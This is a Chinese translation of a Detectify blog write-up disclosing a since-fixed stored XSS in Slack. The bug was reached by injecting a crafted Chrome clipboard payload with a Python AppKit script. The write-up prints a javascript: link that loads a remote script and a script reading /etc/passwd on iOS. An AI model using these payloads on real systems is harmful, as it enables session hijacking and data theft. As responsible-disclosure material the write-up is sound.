原文标题:《Using Chrome's web-custom-data UTI to inject a stored XSS in Slack
原文发表时间:2016.09.01
原文作者:labsdetectify
简介: 这是我几个月前发现的 Slack 的一个难以复现的 bug 。虽然难以复现,但是因为一个遗留的迁移 payload 还是能正常的工作。通过使用python的AppKit将数据插入到Chrome浏览器的富文本格式剪贴板,我能够在 Slack 里添加修改 xss payload
几个月前,当我看着 Slack 的新的编辑器的时候,我发现我以前使用 MarkDown 写的文章已经被迁移到了新的编辑器里。由于一些原因,一些文章中的链接有了 javascript:-协议
Image may be NSFW.
Clik here to view.

这太有趣了,因为我没有用相同的行为去创建新的链接。我以前的文章有效,就是这样。我怎么能够展示 Slack 的问题现在是存在的呢?payload 能否被修改去做更多的事情而不单单是一个 alert() 呢?
第一个方法,代理 Rocket socket我发现通过使用浏览器的复制粘贴,我可以插入一个新的包含恶意链接的元素。同时也出触发了一个在他们 socket 连接中的 Rocket: 事件
{"type": "rocket", "event":"rocket", "payload": ... {"type": "unfurl", "originalFragment": ... "_data":{"type":"p","text":"javascript:alert(document.domain%29","tabbing":0, "links":{"xxx":[0,22]},"formats":[]}, ... ,"r":19,"$":15,"type":"mm","sel":[[3],0,[3],0]},"id":25}我把这个提交给了 Slack,展示了如何使用代理捕获到这一个事件,使用 "Unfurl" 插入新元素,这是据说有 bug 的元素类型。有一个很有趣的事情就是在 slack-files.com 查看这篇文章,有一个缓解javascript:-URIs:的地方
if (protocol && /^https?:$/.test(protocol) === false) { e.preventDefault(); if (console && typeof console.warn === "function") { console.warn("not following bad link from a post preview") } }然而在团队中查看文章并没有相同的缓解措施:
Image may be NSFW.
Clik here to view.

当 Slack 回复的时候,他们并不能像我说的那样插入 payload 。由于所有的 markers, IDs 和 counters 必须正确的设置, Rocket socket 有一些乱。他们也认为这个问题在slack-files.com 无法触发,只能在 [teamname].slack.com 触发。 第二个方法,使用剪切板
我重新思考了下怎么制作一个 POC
因为我知道把 payload 放到剪切板里,我可以把它粘贴到一个新的文章里,我计划是制作一个小脚本,把 payload 注入到剪切板里。这样就可以在他们运行脚本的时候创建一个 POC 得到剪切板的数据,然后粘贴到 Slack 的文章编辑器里,使其引入恶意链接。
我找到了一个很好的工具叫做 Clipboard Viewer ,这个工具实际上是一个 Xcode 的示例程序,他基本列出了在剪切板里所有的 UTIs (Uniform Type Identifiers)。当然,它也可以单独导出每种类型。
(译者注:UTI 的含义是Uniform Type Identifiers,统一类型标识符)
Image may be NSFW.
Clik here to view.

我注意到这个 UTI 使用了 Chrome 的 RTF 叫做 org.chromium.web-custom-data。它的二进制数据中有 使用 UTF-16 LE 编码的 application/spaces+json
Image may be NSFW.
Clik here to view.

首先修改这个二进制数据为我自己的 payload,然后使用下面的 Python 脚本:
from AppKit import NSPasteboard, NSData uti = "org.chromium.web-custom-data" chromium = open('chromium').read() pb = NSPasteboard.generalPasteboard() pb.clearContents() pb.declareTypes_owner_([uti], None) data = NSData.dataWithBytes_length_(chromium, len(chromium)) pb.setData_forType_(data, uti)剪切板中就会有新的 Payload
我的 PoC现在我已经实现了:
通过HexFiend 用 UTF-16 LE 编码 修改我的 chromium-file 里的 payload。
Image may be NSFW.
Clik here to view.

在 Slack 创建一篇新的文章
Image may be NSFW.
Clik here to view.

运行 python 脚本,把 payload 插入到剪切板
Image may be NSFW.
Clik here to view.

粘贴剪切板的内容到文章。
Image may be NSFW.
Clik here to view.

现在这篇文章已经包含了恶意链接。
我可以把这个文章的链接分享到我的团队里,点击这篇文章的链接就会触发 XSS
在这,我还注意到Slack 的 ios 应用也可以正常触发这个 XSS。当时 Bishop Fox 刚刚写了一篇 关于 OSX 的应用中运行 Javascript 缺乏 SOP 的文章
在 iOS 上使用其中相同的技术,我的链接看起来像这样:
javascript:x=document.createElement("script"); x.src="https://link-to-script.js"; document.children[0].children[1].appendChild(x);指向的脚本包含下面内容:
function ajax(cb) { var xhttp = new XMLHttpRequest(); xhttp.addEventListener('load', cb) return xhttp; } function get(f, cb) { try { xhttp = ajax(cb) xhttp.open("GET", f); xhttp.send(); } catch(e) { alert(e); } } get('file:///etc/passwd', function(d){ alert(this.responseText) });在 Slack 中用这个链接使用这个方法弹出 iphone 的/etc/passwd
Image may be NSFW.
Clik here to view.

我通过评论把这个也交给了Slack,告诉他们这个也可以在他们的 iOS 应用里正常运行。
尽管我尝试去做一个清晰的 PoC,由于一些原因,Slack 仍然无法重现这个问题。
##最后的方法,自己看
最后,我邀请 Slack 的人员进入我自己的 Slack 团队,里面有两个可以正常使用的例子,AR(Slack 的人员)加入我的团队中,最终确认了在 web 应用和 iOS 的这两个问题。
Image may be NSFW.
Clik here to view.

最后说说
由于一些原因,这个问题很难去证明,但是我还是很高兴 Slack 使用额外的步骤加入我的团队去证实确实存在这个问题。同时,我也学习到了很多在 OSX 剪切板里的数据类型。Slack的这两个个问题现在已经修复了。 给这个 bug 支付了$1000
原文地址: https://labs.detectify.com/2016/09/01/using-chromes-web-custom-data-uti-to-inject-a-stored-xss-in-slack/